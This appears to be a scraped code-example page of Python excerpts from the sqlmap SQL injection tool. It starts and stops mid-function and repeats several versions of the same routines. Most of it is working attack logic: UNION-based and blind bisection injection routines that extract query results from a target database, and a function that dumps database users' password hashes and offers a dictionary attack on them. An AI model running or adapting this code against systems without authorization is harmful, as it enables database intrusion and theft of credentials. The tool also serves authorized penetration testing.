                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1

            elif not count or int(count) == 0:
                if not count:
                    warnMsg = "the SQL query provided does not "
                    warnMsg += "return any output"
                    logger.warn(warnMsg)
                else:
                    value = []  # for empty tables
                return value

            threadData = getCurrentThreadData()
            threadData.shared.limits = iter(xrange(startLimit, stopLimit))
            numThreads = min(conf.threads, (stopLimit - startLimit))
            threadData.shared.value = BigArray()
            threadData.shared.buffered = []
            threadData.shared.lastFlushed = startLimit - 1

            if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
                kb.suppressResumeInfo = True
                debugMsg = "suppressing possible resume console info because of "
                debugMsg += "large number of rows. It might take too long"
                logger.debug(debugMsg)

            try:
                def unionThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.limits:
                            try:
                                num = threadData.shared.limits.next()
                            except StopIteration:
                                break

                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                            field = expressionFieldsList[0]
                        elif Backend.isDbms(DBMS.ORACLE):
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = _oneShotUnionUse(limitedExpr, unpack, True)

                        if not kb.threadContinue:
                            break

                        if output:
                            if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
                                items = parseUnionPage(output)

                                with kb.locks.value:
                                    index = None
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, items))
                                    while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
                                        threadData.shared.lastFlushed += 1
                                        _ = threadData.shared.buffered[0][1]
                                        if not isNoneValue(_):
                                            threadData.shared.value.extend(arrayizeValue(_))
                                        del threadData.shared.buffered[0]
                            else:
                                with kb.locks.value:
                                    index = None
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, None))
                                items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)

                            if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
                                status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items)))))

                                if len(status) > width:
                                    status = "%s..." % status[:width - 3]

                                dataToStdout("%s\r\n" % status, True)

                runThreads(numThreads, unionThread)

                if conf.verbose == 1:
                    clearConsoleLine(True)

            except KeyboardInterrupt:
                abortedFlag = True

                warnMsg = "user aborted during enumeration. sqlmap "
                warnMsg += "will display partial output"
                logger.warn(warnMsg)

            finally:
                for _ in sorted(threadData.shared.buffered):
                    if not isNoneValue(_[1]):
                        threadData.shared.value.extend(arrayizeValue(_[1]))
                value = threadData.shared.value
                kb.suppressResumeInfo = False

    if not value and not abortedFlag:
        expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) # full union doesn't play well with ORDER BY
        value = _oneShotUnionUse(expression, unpack)

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
        logger.debug(debugMsg)

    return value
Beispiel #16
0
    def getPasswordHashes(self):
        infoMsg = "fetching database users password hashes"

        rootQuery = queries[Backend.getIdentifiedDbms()].passwords

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = [_ for _ in users if _]

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query

            condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False)

                if retVal:
                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                values = inject.getValue(query, blind=False, time=False)

                if isNoneValue(values) and Backend.isDbms(DBMS.MSSQL):
                    values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False)

                for user, password in filterPairValues(values):
                    if not user or user == " ":
                        continue

                    password = parsePasswordHash(password)

                    if user not in kb.data.cachedUsersPasswords:
                        kb.data.cachedUsersPasswords[user] = [password]
                    else:
                        kb.data.cachedUsersPasswords[user].append(password)

        if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
            fallback = False

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                query = rootQuery.inband.query

                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True)

                if retVal:
                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
                        password = "******" % hexencode(password, conf.encoding).upper()

                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                retrievedUsers = set()

                for user in users:
                    user = unArrayizeValue(user)

                    if user in retrievedUsers:
                        continue

                    if Backend.isDbms(DBMS.INFORMIX):
                        count = 1
                    else:
                        infoMsg = "fetching number of password hashes "
                        infoMsg += "for user '%s'" % user
                        logger.info(infoMsg)

                        if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                            query = rootQuery.blind.count2 % user
                        else:
                            query = rootQuery.blind.count % user

                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count) and Backend.isDbms(DBMS.MSSQL):
                            fallback = True
                            count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "unable to retrieve the number of password "
                            warnMsg += "hashes for user '%s'" % user
                            logger.warn(warnMsg)
                            continue

                    infoMsg = "fetching password hashes for user '%s'" % user
                    logger.info(infoMsg)

                    passwords = []

                    plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                    indexRange = getLimitRange(count, plusOne=plusOne)

                    for index in indexRange:
                        if Backend.isDbms(DBMS.MSSQL):
                            if Backend.isVersionWithin(("2005", "2008")):
                                query = rootQuery.blind.query2 % (user, index, user)
                            else:
                                query = rootQuery.blind.query % (user, index, user)

                            if fallback:
                                query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr")

                        elif Backend.isDbms(DBMS.INFORMIX):
                            query = rootQuery.blind.query % (user,)

                        elif Backend.isDbms(DBMS.HSQLDB):
                            query = rootQuery.blind.query % (index, user)

                        else:
                            query = rootQuery.blind.query % (user, index)

                        password = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        password = parsePasswordHash(password)

                        passwords.append(password)

                    if passwords:
                        kb.data.cachedUsersPasswords[user] = passwords
                    else:
                        warnMsg = "unable to retrieve the password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)

                    retrievedUsers.add(user)

        if not kb.data.cachedUsersPasswords:
            errMsg = "unable to retrieve the password hashes for the "
            errMsg += "database users (probably because the DBMS "
            errMsg += "current user has no read privileges over the relevant "
            errMsg += "system database table(s))"
            logger.error(errMsg)
        else:
            for user in kb.data.cachedUsersPasswords:
                kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))

            storeHashesToFile(kb.data.cachedUsersPasswords)

            message = "do you want to perform a dictionary-based attack "
            message += "against retrieved password hashes? [Y/n/q]"
            choice = readInput(message, default='Y').upper()

            if choice == 'N':
                pass
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                attackCachedUsersPasswords()

        return kb.data.cachedUsersPasswords
Beispiel #17
0
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """

    initTechnique(kb.technique)

    query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = BigArray()
    test = None
    untilLimitChar = None
    untilOrderChar = None

    if not unpack:
        return __goInference(payload, expression, charsetType, firstChar, lastChar, dump)

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
    if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
        expressionFieldsList = [expressionFields]

    if len(expressionFieldsList) > 1:
        infoMsg = "the SQL query provided has more than one field. "
        infoMsg += "sqlmap will now unpack it into distinct queries "
        infoMsg += "to be able to retrieve the output even if we "
        infoMsg += "are going blind"
        logger.info(infoMsg)

    # If we have been here from SQL query/shell we have to check if
    # the SQL query might return multiple entries and in such case
    # forge the SQL limiting the query output one entry per time
    # NOTE: I assume that only queries that get data from a table
    # can return multiple entries
    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
      not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
      expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
      and not re.search(SQL_SCALAR_REGEX, expression, re.I):

        limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1
                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.isDbms(DBMS.ORACLE):
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a "LIMIT #, 1"
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the " LIMIT "
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit

            if not stopLimit or stopLimit <= 1:
                if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
                    test = False
                else:
                    test = True

            if test:
                # Count the number of SQL query entries output
                countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
                countedExpression = expression.replace(expressionFields, countFirstField, 1)

                if re.search(" ORDER BY ", expression, re.I):
                    untilOrderChar = countedExpression.index(" ORDER BY ")
                    countedExpression = countedExpression[:untilOrderChar]

                if not stopLimit:
                    count = __goInference(payload, countedExpression, CHARSET_TYPE.DIGITS, firstChar, lastChar)

                    if isNumPosStrValue(count):
                        count = int(count)

                        if batch:
                            stopLimit = count
                        else:
                            message = "the SQL query provided can return "
                            message += "%d entries. How many " % count
                            message += "entries do you want to retrieve?\n"
                            message += "[a] All (default)\n[#] Specific number\n"
                            message += "[q] Quit"
                            test = readInput(message, default="a")

                            if not test or test[0] in ("a", "A"):
                                stopLimit = count

                            elif test[0] in ("q", "Q"):
                                raise sqlmapUserQuitException

                            elif test.isdigit() and int(test) > 0 and int(test) <= count:
                                stopLimit = int(test)

                                infoMsg = "sqlmap is now going to retrieve the "
                                infoMsg += "first %d query output entries" % stopLimit
                                logger.info(infoMsg)

                            elif test[0] in ("#", "s", "S"):
                                message = "how many? "
                                stopLimit = readInput(message, default="10")

                                if not stopLimit.isdigit():
                                    errMsg = "invalid choice"
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = "invalid choice"
                                logger.error(errMsg)

                                return None

                    elif count and not count.isdigit():
                        warnMsg = "it was not possible to count the number "
                        warnMsg += "of entries for the SQL query provided. "
                        warnMsg += "sqlmap will assume that it returns only "
                        warnMsg += "one entry"
                        logger.warn(warnMsg)

                        stopLimit = 1

                    elif (not count or int(count) == 0):
                        if not count:
                            warnMsg = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                        return None

                elif (not stopLimit or stopLimit == 0):
                    return None

                try:
                    for num in xrange(startLimit, stopLimit):
                        output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
                        outputs.append(output)

                except KeyboardInterrupt:
                    print
                    warnMsg = "user aborted during dumping phase"
                    logger.warn(warnMsg)

                return outputs

    elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
        expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]

    outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)

    return ", ".join(output for output in outputs) if not isNoneValue(outputs) else None
Beispiel #18
0
def unionUse(expression, unpack=True, dump=False):
    """
    This function tests for an union SQL injection on the target
    url then call its subsidiary function to effectively perform an
    union SQL injection on the affected url
    """

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    abortedFlag = False
    count = None
    origExpr = expression
    startLimit = 0
    stopLimit = None
    value = None

    width = getConsoleWidth()
    start = time.time()

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
        origExpr)

    if expressionFieldsList and len(
            expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
        # Removed ORDER BY clause because UNION does not play well with it
        expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
        debugMsg = "stripping ORDER BY clause from statement because "
        debugMsg += "it does not play well with UNION query SQL injection"
        singleTimeDebugMessage(debugMsg)

    # We have to check if the SQL query might return multiple entries
    # if the technique is partial UNION query and in such case forge the
    # SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table can
    # return multiple entries
    if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
       (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
       not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
       and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
            expression, dump)

        if limitCond:
            # Count the number of SQL query entries output
            countedExpression = expression.replace(
                expressionFields,
                queries[Backend.getIdentifiedDbms()].count.query %
                ('*' if len(expressionFieldsList) > 1 else expressionFields),
                1)

            if " ORDER BY " in countedExpression.upper():
                _ = countedExpression.upper().rindex(" ORDER BY ")
                countedExpression = countedExpression[:_]

            output = _oneShotUnionUse(countedExpression, unpack)
            count = unArrayizeValue(parseUnionPage(output))

            if isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            elif count and (not isinstance(count, basestring)
                            or not count.isdigit()):
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the SQL query provided. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1

            elif (not count or int(count) == 0):
                if not count:
                    warnMsg = "the SQL query provided does not "
                    warnMsg += "return any output"
                    logger.warn(warnMsg)
                else:
                    value = []  # for empty tables
                return value

            threadData = getCurrentThreadData()
            threadData.shared.limits = iter(xrange(startLimit, stopLimit))
            numThreads = min(conf.threads, (stopLimit - startLimit))
            threadData.shared.value = BigArray()
            threadData.shared.buffered = []
            threadData.shared.lastFlushed = startLimit - 1

            if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
                kb.suppressResumeInfo = True
                debugMsg = "suppressing possible resume console info because of "
                debugMsg += "large number of rows. It might take too long"
                logger.debug(debugMsg)

            try:

                def unionThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.limit:
                            try:
                                num = threadData.shared.limits.next()
                            except StopIteration:
                                break

                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
                                                           DBMS.SYBASE):
                            field = expressionFieldsList[0]
                        elif Backend.isDbms(DBMS.ORACLE):
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = _oneShotUnionUse(limitedExpr, unpack, True)

                        if not kb.threadContinue:
                            break

                        if output:
                            if all(
                                    map(lambda _: _ in output,
                                        (kb.chars.start, kb.chars.stop))):
                                items = parseUnionPage(output)

                                with kb.locks.value:
                                    # in case that we requested N columns and we get M!=N then we have to filter a bit
                                    if isListLike(
                                            items) and len(items) > 1 and len(
                                                expressionFieldsList) > 1:
                                        items = [
                                            item for item in items
                                            if isListLike(item) and len(item)
                                            == len(expressionFieldsList)
                                        ]
                                    index = None
                                    for index in xrange(
                                            len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][
                                                0] >= num:
                                            break
                                    threadData.shared.buffered.insert(
                                        index or 0, (num, items))
                                    while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[
                                            0][0]:
                                        threadData.shared.lastFlushed += 1
                                        _ = threadData.shared.buffered[0][1]
                                        if not isNoneValue(_):
                                            threadData.shared.value.extend(
                                                arrayizeValue(_))
                                        del threadData.shared.buffered[0]
                            else:
                                with kb.locks.value:
                                    index = None
                                    for index in xrange(
                                            len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][
                                                0] >= num:
                                            break
                                    threadData.shared.buffered.insert(
                                        index or 0, (num, None))
                                items = output.replace(
                                    kb.chars.start,
                                    "").replace(kb.chars.stop,
                                                "").split(kb.chars.delimiter)

                            if conf.verbose == 1 and not (
                                    threadData.resumed
                                    and kb.suppressResumeInfo):
                                status = "[%s] [INFO] %s: %s" % (
                                    time.strftime("%X"), "resumed"
                                    if threadData.resumed else "retrieved",
                                    safecharencode(",".join(
                                        "\"%s\"" % _ for _ in flattenValue(
                                            arrayizeValue(items)))))

                                if len(status) > width:
                                    status = "%s..." % status[:width - 3]

                                dataToStdout("%s\r\n" % status, True)

                runThreads(numThreads, unionThread)

                if conf.verbose == 1:
                    clearConsoleLine(True)

            except KeyboardInterrupt:
                abortedFlag = True

                warnMsg = "user aborted during enumeration. sqlmap "
                warnMsg += "will display partial output"
                logger.warn(warnMsg)

            finally:
                for _ in sorted(threadData.shared.buffered):
                    if not isNoneValue(_[1]):
                        threadData.shared.value.extend(arrayizeValue(_[1]))
                value = threadData.shared.value
                kb.suppressResumeInfo = False

    if not value and not abortedFlag:
        value = _oneShotUnionUse(expression, unpack)

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %d seconds" % (
            kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
        logger.debug(debugMsg)

    return value
Beispiel #19
0
def unionUse(expression, unpack=True, dump=False):
    """
    This function tests for an union SQL injection on the target
    URL then call its subsidiary function to effectively perform an
    union SQL injection on the affected URL
    """

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    abortedFlag = False
    count = None
    origExpr = expression
    startLimit = 0
    stopLimit = None
    value = None

    width = getConsoleWidth()
    start = time.time()

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)

    # Set kb.partRun in case the engine is called from the API
    kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None

    if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
        # Removed ORDER BY clause because UNION does not play well with it
        expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
        debugMsg = "stripping ORDER BY clause from statement because "
        debugMsg += "it does not play well with UNION query SQL injection"
        singleTimeDebugMessage(debugMsg)

    # We have to check if the SQL query might return multiple entries
    # if the technique is partial UNION query and in such case forge the
    # SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table can
    # return multiple entries
    if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
       (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
       not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
       and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)

        if limitCond:
            # Count the number of SQL query entries output
            countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)

            if " ORDER BY " in countedExpression.upper():
                _ = countedExpression.upper().rindex(" ORDER BY ")
                countedExpression = countedExpression[:_]

            output = _oneShotUnionUse(countedExpression, unpack)
            count = unArrayizeValue(parseUnionPage(output))

            if isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            elif count and (not isinstance(count, basestring) or not count.isdigit()):
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the SQL query provided. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1

            elif (not count or int(count) == 0):
                if not count:
                    warnMsg = "the SQL query provided does not "
                    warnMsg += "return any output"
                    logger.warn(warnMsg)
                else:
                    value = []  # for empty tables
                return value

            threadData = getCurrentThreadData()
            threadData.shared.limits = iter(xrange(startLimit, stopLimit))
            numThreads = min(conf.threads, (stopLimit - startLimit))
            threadData.shared.value = BigArray()
            threadData.shared.buffered = []
            threadData.shared.lastFlushed = startLimit - 1

            if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
                kb.suppressResumeInfo = True
                debugMsg = "suppressing possible resume console info because of "
                debugMsg += "large number of rows. It might take too long"
                logger.debug(debugMsg)

            try:
                def unionThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.limit:
                            try:
                                num = threadData.shared.limits.next()
                            except StopIteration:
                                break

                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                            field = expressionFieldsList[0]
                        elif Backend.isDbms(DBMS.ORACLE):
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = _oneShotUnionUse(limitedExpr, unpack, True)

                        if not kb.threadContinue:
                            break

                        if output:
                            if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
                                items = parseUnionPage(output)

                                with kb.locks.value:
                                    # in case that we requested N columns and we get M!=N then we have to filter a bit
                                    if isListLike(items) and len(items) > 1 and len(expressionFieldsList) > 1:
                                        items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
                                    index = None
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, items))
                                    while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
                                        threadData.shared.lastFlushed += 1
                                        _ = threadData.shared.buffered[0][1]
                                        if not isNoneValue(_):
                                            threadData.shared.value.extend(arrayizeValue(_))
                                        del threadData.shared.buffered[0]
                            else:
                                with kb.locks.value:
                                    index = None
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, None))
                                items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)

                            if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
                                status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items)))))

                                if len(status) > width:
                                    status = "%s..." % status[:width - 3]

                                dataToStdout("%s\r\n" % status, True)

                runThreads(numThreads, unionThread)

                if conf.verbose == 1:
                    clearConsoleLine(True)

            except KeyboardInterrupt:
                abortedFlag = True

                warnMsg = "user aborted during enumeration. sqlmap "
                warnMsg += "will display partial output"
                logger.warn(warnMsg)

            finally:
                for _ in sorted(threadData.shared.buffered):
                    if not isNoneValue(_[1]):
                        threadData.shared.value.extend(arrayizeValue(_[1]))
                value = threadData.shared.value
                kb.suppressResumeInfo = False

    if not value and not abortedFlag:
        output = _oneShotUnionUse(expression, unpack)
        value = parseUnionPage(output)

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
        logger.debug(debugMsg)

    return value
Beispiel #20
0
                def unionThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.limit:
                            try:
                                num = threadData.shared.limits.next()
                            except StopIteration:
                                break

                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
                                                           DBMS.SYBASE):
                            field = expressionFieldsList[0]
                        elif Backend.isDbms(DBMS.ORACLE):
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = _oneShotUnionUse(limitedExpr, unpack, True)

                        if not kb.threadContinue:
                            break

                        if output:
                            if all(
                                    map(lambda _: _ in output,
                                        (kb.chars.start, kb.chars.stop))):
                                items = parseUnionPage(output)

                                with kb.locks.value:
                                    # in case that we requested N columns and we get M!=N then we have to filter a bit
                                    if isListLike(
                                            items) and len(items) > 1 and len(
                                                expressionFieldsList) > 1:
                                        items = [
                                            item for item in items
                                            if isListLike(item) and len(item)
                                            == len(expressionFieldsList)
                                        ]
                                    index = None
                                    for index in xrange(
                                            len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][
                                                0] >= num:
                                            break
                                    threadData.shared.buffered.insert(
                                        index or 0, (num, items))
                                    while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[
                                            0][0]:
                                        threadData.shared.lastFlushed += 1
                                        _ = threadData.shared.buffered[0][1]
                                        if not isNoneValue(_):
                                            threadData.shared.value.extend(
                                                arrayizeValue(_))
                                        del threadData.shared.buffered[0]
                            else:
                                with kb.locks.value:
                                    index = None
                                    for index in xrange(
                                            len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][
                                                0] >= num:
                                            break
                                    threadData.shared.buffered.insert(
